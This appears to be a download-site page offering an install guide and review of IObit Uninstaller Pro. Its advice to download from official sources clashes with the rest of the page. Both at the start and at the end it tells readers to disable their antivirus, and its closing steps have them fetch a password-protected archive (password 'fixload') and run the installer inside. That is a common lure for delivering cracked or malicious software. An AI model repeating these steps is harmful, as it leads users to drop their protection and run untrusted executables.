
How to Install IObit Uninstaller Pro: Step-by-Step Instructions
Before installing the program, be sure to temporarily disable your antivirus!
This is necessary for the installation file to work correctly – the antivirus may mistakenly block the launch or delete parts of the program. After installation, do not forget to turn the protection back on.
Where to Download IObit Uninstaller Pro
Always download IObit Uninstaller Pro from official sources. The most reliable place is the official IObit website. Avoid third-party download sites as these might bundle unwanted software or modified versions. The official download ensures you’re getting the legitimate product with all the latest updates and features.

Installation Process
Once downloaded, the installation process is straightforward:
- Double-click the downloaded installer file (typically named something like “iobituninstallerpro_setup.exe”)
- Select your preferred language when prompted
- Follow the installation wizard by clicking “Next” through the setup screens
- Choose your installation directory (the default is usually fine)
- Decide whether to create desktop and Quick Launch shortcuts
- Click “Install” to begin the installation process

During installation, pay close attention to additional software offers that may appear. IObit, like many software companies, sometimes includes optional software in their installers. You can decline these additional offers by unchecking the appropriate boxes without affecting your IObit Uninstaller Pro installation.
Common Installation Errors and Solutions
If you encounter issues during installation, here are the most common problems and their fixes:
- Error 1316 or “A network error occurred”: Temporarily disable your network firewall or add an exception for the installer
- “Unable to create installation directory”: Run the installer as administrator by right-clicking and selecting “Run as administrator”
- “Previous version detected”: Completely uninstall any previous version before installing the new one
- Installation freezes: Close background applications, especially other system utilities or optimization tools
Verifying Successful Installation
To confirm IObit Uninstaller Pro installed correctly:
- Check for the IObit Uninstaller Pro icon on your desktop or in the Start menu
- Launch the program to ensure it opens without errors
- Navigate to Help > About to verify you have the Pro version with all features unlocked
- Check that the program version matches what you downloaded (the latest version at time of writing is 12.x)
If the program launches and displays the Pro features, congratulations—you’ve successfully installed IObit Uninstaller Pro!
What IObit Uninstaller Pro Actually Does
IObit Uninstaller Pro goes well beyond Windows’ built-in Add/Remove Programs functionality. After using it extensively, I’ve found these core functions to be the most valuable:
- Powerful Uninstall: Removes programs completely, including leftover files and registry entries that standard uninstallers often miss
- Batch Uninstallation: Removes multiple programs simultaneously, saving significant time when cleaning up your system
- Stubborn Program Removal: Specializes in removing programs that resist normal uninstallation methods
- Browser Plugin Management: Identifies and removes unwanted toolbars, extensions, and plugins across multiple browsers
- Windows App Uninstaller: Removes built-in Windows apps and bloatware that can’t be uninstalled through standard methods
- Installation Monitor: Tracks new program installations to ensure complete removal later
- File Shredder: Securely deletes sensitive files to prevent recovery
- Software Health: Identifies rarely-used programs and outdated software that might be candidates for removal
The software effectively serves as a comprehensive cleanup tool rather than just a simple uninstaller. Its ability to detect remnants of previously uninstalled programs and remove them completely has repeatedly saved me disk space that would otherwise be lost to orphaned files.
My Personal Experience Using IObit Uninstaller Pro
I initially started using IObit Uninstaller Pro when faced with the seemingly impossible task of removing a stubborn antivirus program that refused to uninstall through conventional means. After troubleshooting for hours with no success, IObit Uninstaller Pro’s Force Uninstall feature finally did the trick.

Over the past three years of regular use, I’ve leveraged the software for several key tasks:
System Cleanup After Software Testing
As someone who tests a lot of software for work, my system tends to accumulate many programs. The batch uninstallation feature has saved me countless hours by allowing me to select and remove multiple programs at once. The program’s ability to catch leftover files means my system stays cleaner than when using Windows’ native uninstaller.
Troubleshooting Software Conflicts
When experiencing system slowdowns or application crashes, IObit Uninstaller Pro’s Software Health feature has helped identify problematic programs. The detailed installation history provides valuable context for pinpointing when issues began.
Browser Cleanup
The browser plugin management feature has proven invaluable for maintaining browser performance. I’ve used it to identify and remove extensions I didn’t even know were installed, some of which were significantly slowing down my browsing experience.
While the software delivers on its core promise, I’ve encountered a few issues worth noting. Occasionally, the program has incorrectly identified certain system files as remnants that should be removed. Thankfully, its backup feature prevented any serious problems. Additionally, the software can be somewhat aggressive with notifications about other IObit products, though these are easily disabled in the settings.
Comparing IObit Uninstaller Pro with Alternatives
Feature | IObit Uninstaller Pro | Revo Uninstaller Pro | GeekUninstaller | Windows Add/Remove |
---|---|---|---|---|
Complete removal of leftover files | Excellent | Very Good | Good | Poor |
Batch uninstallation | Yes | Yes | Limited | No |
Forced uninstall of stubborn programs | Very effective | Effective | Moderately effective | Not available |
Browser plugin management | Comprehensive | Limited | No | No |
Windows app removal | Yes | Limited | No | Limited |
System resource usage | Moderate | Light | Very light | Minimal |
User interface | Modern, intuitive | Somewhat dated | Simple, clean | Basic |
Price | Moderate | Higher | Free (Pro version available) | Free |
After trying all these alternatives, I’ve found IObit Uninstaller Pro offers the best balance of features and usability. Revo Uninstaller Pro comes close in functionality but has a steeper learning curve. GeekUninstaller is excellent for basic needs, especially considering its free version is quite powerful. However, for complete system maintenance including browser plugins and Windows apps, IObit Uninstaller Pro maintains the edge.
Frequently Asked Questions
Conclusion: Is IObit Uninstaller Pro Right for You?
After extensive use, IObit Uninstaller Pro has earned its place in my essential software toolkit. It excels at what it promises—thoroughly removing unwanted software and cleaning up the digital clutter that accumulates on any active computer system. The interface strikes a good balance between accessibility for casual users and depth for power users.
The program isn’t perfect—the occasional promotional notifications and rare misidentification of system files as removable “junk” are minor annoyances. However, these drawbacks are significantly outweighed by the software’s core functionality and reliability.
If you regularly install and uninstall software, work with multiple browsers, or manage several computers, IObit Uninstaller Pro offers substantial value. For casual users with simpler needs, you might start with the free version and upgrade if you find yourself bumping against its limitations.
In the crowded field of system utilities, IObit Uninstaller Pro distinguishes itself by focusing on doing one job exceptionally well rather than trying to be an all-in-one solution. And for that focused purpose of keeping your system clean and free from software debris, it’s difficult to beat.
Your antivirus may block or interfere with the installation process.
Please make sure to disable it temporarily before continuing.
Step 1: Download the archive using the button below.

Step 2: Extract the downloaded archive.

Step 3: Extract the installer archive (Password: fixload
)

Step 4: Run the installer and follow the on-screen instructions to install the program on your computer.